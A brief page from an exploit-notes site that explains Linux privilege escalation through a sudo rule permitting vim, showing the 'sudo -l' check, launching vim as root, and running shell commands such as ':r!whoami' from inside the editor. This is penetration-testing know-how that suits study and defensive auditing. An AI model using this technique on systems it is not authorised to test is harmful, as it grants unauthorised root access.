# Sudo Vim Privilege Escalation

### [Investigation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-vim-privilege-escalation/#investigation) <a href="#investigation" id="investigation"></a>

```sh
sudo -l

(ALL) NOPASSWD: vim example.txt
Copied!
```

If we can execute **"vim"** command as root, we can execute the shell command in the vim editor.

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### [Exploitation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-vim-privilege-escalation/#exploitation) <a href="#exploitation" id="exploitation"></a>

Simply run **"vim"** command as root.

```sh
sudo vim example.txt
Copied!
```

In Vim editor, we can run shell commands as root.

```sh
:r!whoami
```


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